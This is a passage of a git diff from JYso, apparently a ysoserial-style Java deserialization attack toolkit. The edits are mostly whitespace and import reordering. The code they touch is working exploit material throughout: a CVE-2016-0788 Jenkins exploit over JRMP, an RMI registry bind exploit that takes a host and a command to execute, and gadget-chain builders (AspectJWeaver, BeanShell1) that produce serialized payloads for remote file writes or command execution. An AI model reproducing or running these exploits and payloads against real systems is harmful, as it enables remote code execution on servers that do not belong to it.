+ long o2 = Long.parseLong(parts[1], 16);
+ short o3 = Short.parseShort(parts[2], 16);
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args);
}
@@ -147,7 +148,7 @@ public class JenkinsListener {
private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args)
throws IOException {
- Socket s = null;
+ Socket s = null;
DataOutputStream dos = null;
try {
System.err.println("* Opening JRMP socket " + isa);
diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java
index 82b0b72..4d2910a 100644
--- a/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java
+++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java
@@ -1,6 +1,5 @@
package com.qi4l.JYso.exploit;
-import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.JRMPClient;
import hudson.remoting.Channel;
@@ -10,6 +9,8 @@ import java.net.InetSocketAddress;
import java.rmi.registry.Registry;
import java.util.Random;
+import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
+
/**
* CVE-2016-0788 exploit (2)
*
@@ -35,11 +36,11 @@ public class JenkinsReverse {
ysoserial(newArray);
final Object payloadObject = ysoserial.PAYLOAD;
- String myAddr = args[1];
- int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
- String jenkinsUrl = args[0];
+ String myAddr = args[1];
+ int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
+ String jenkinsUrl = args[0];
- Thread t = null;
+ Thread t = null;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
diff --git a/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java b/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java
index 1c0f267..a3a0fe9 100644
--- a/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java
+++ b/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java
@@ -29,10 +29,10 @@ public class RMIBindExploit {
System.exit(-1);
}
- String host = args[0];
- int registryPort = Integer.parseInt(args[1]);
- String command = args[2];
- String serviceName = args[3];
+ String host = args[0];
+ int registryPort = Integer.parseInt(args[1]);
+ String command = args[2];
+ String serviceName = args[3];
Registry registry = LocateRegistry.getRegistry(host, registryPort);
System.out.println(Arrays.toString(registry.list()));
diff --git a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java
index 9cc0659..7462522 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java
@@ -49,16 +49,16 @@ public class AspectJWeaver implements ObjectPayload {
if (sep < 0) {
throw new IllegalArgumentException("Command format is: :");
}
- String[] parts = command.split(":");
- String filename = parts[0];
- byte[] content = Base64.decodeBase64(parts[1]);
+ String[] parts = command.split(":");
+ String filename = parts[0];
+ byte[] content = Base64.decodeBase64(parts[1]);
- Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
- Object simpleCache = ctor.newInstance(".", 12);
- Transformer ct = new ConstantTransformer(content);
- Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
- TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
- HashSet map = new HashSet(1);
+ Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
+ Object simpleCache = ctor.newInstance(".", 12);
+ Transformer ct = new ConstantTransformer(content);
+ Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
+ TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
+ HashSet map = new HashSet(1);
map.add("QI4L");
Field f;
try {
diff --git a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver2.java b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver2.java
index c40396b..a227b06 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver2.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver2.java
@@ -34,19 +34,19 @@ public class AspectJWeaver2 implements ObjectPayload {
if (sep < 0) {
throw new IllegalArgumentException("Command format is: ;");
}
- String[] parts = command.split(";");
- String filename = parts[0];
- byte[] content = Base64.decodeBase64(parts[1]);
+ String[] parts = command.split(";");
+ String filename = parts[0];
+ byte[] content = Base64.decodeBase64(parts[1]);
- Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
- Object simpleCache = ctor.newInstance(".", 12);
+ Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
+ Object simpleCache = ctor.newInstance(".", 12);
- Factory ft = new ConstantFactory(content);
+ Factory ft = new ConstantFactory(content);
Transformer ct = new FactoryTransformer(ft);
- Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
- TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
- HashSet map = new HashSet(1);
+ Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
+ TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
+ HashSet map = new HashSet(1);
map.add("QI4L");
Field f = null;
try {
diff --git a/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java b/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java
index 9123051..b483ffc 100644
--- a/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java
+++ b/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java
@@ -22,15 +22,15 @@ import java.util.PriorityQueue;
public class BeanShell1 implements ObjectPayload {
public PriorityQueue getObject(String command) throws Exception {
- String payload = BeanShellUtil.makeBeanShellPayload(command);
- Interpreter i = new Interpreter();
+ String payload = BeanShellUtil.makeBeanShellPayload(command);
+ Interpreter i = new Interpreter();
i.eval(payload);
- XThis xt = new XThis(i.getNameSpace(), i);
- InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
- Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
- PriorityQueue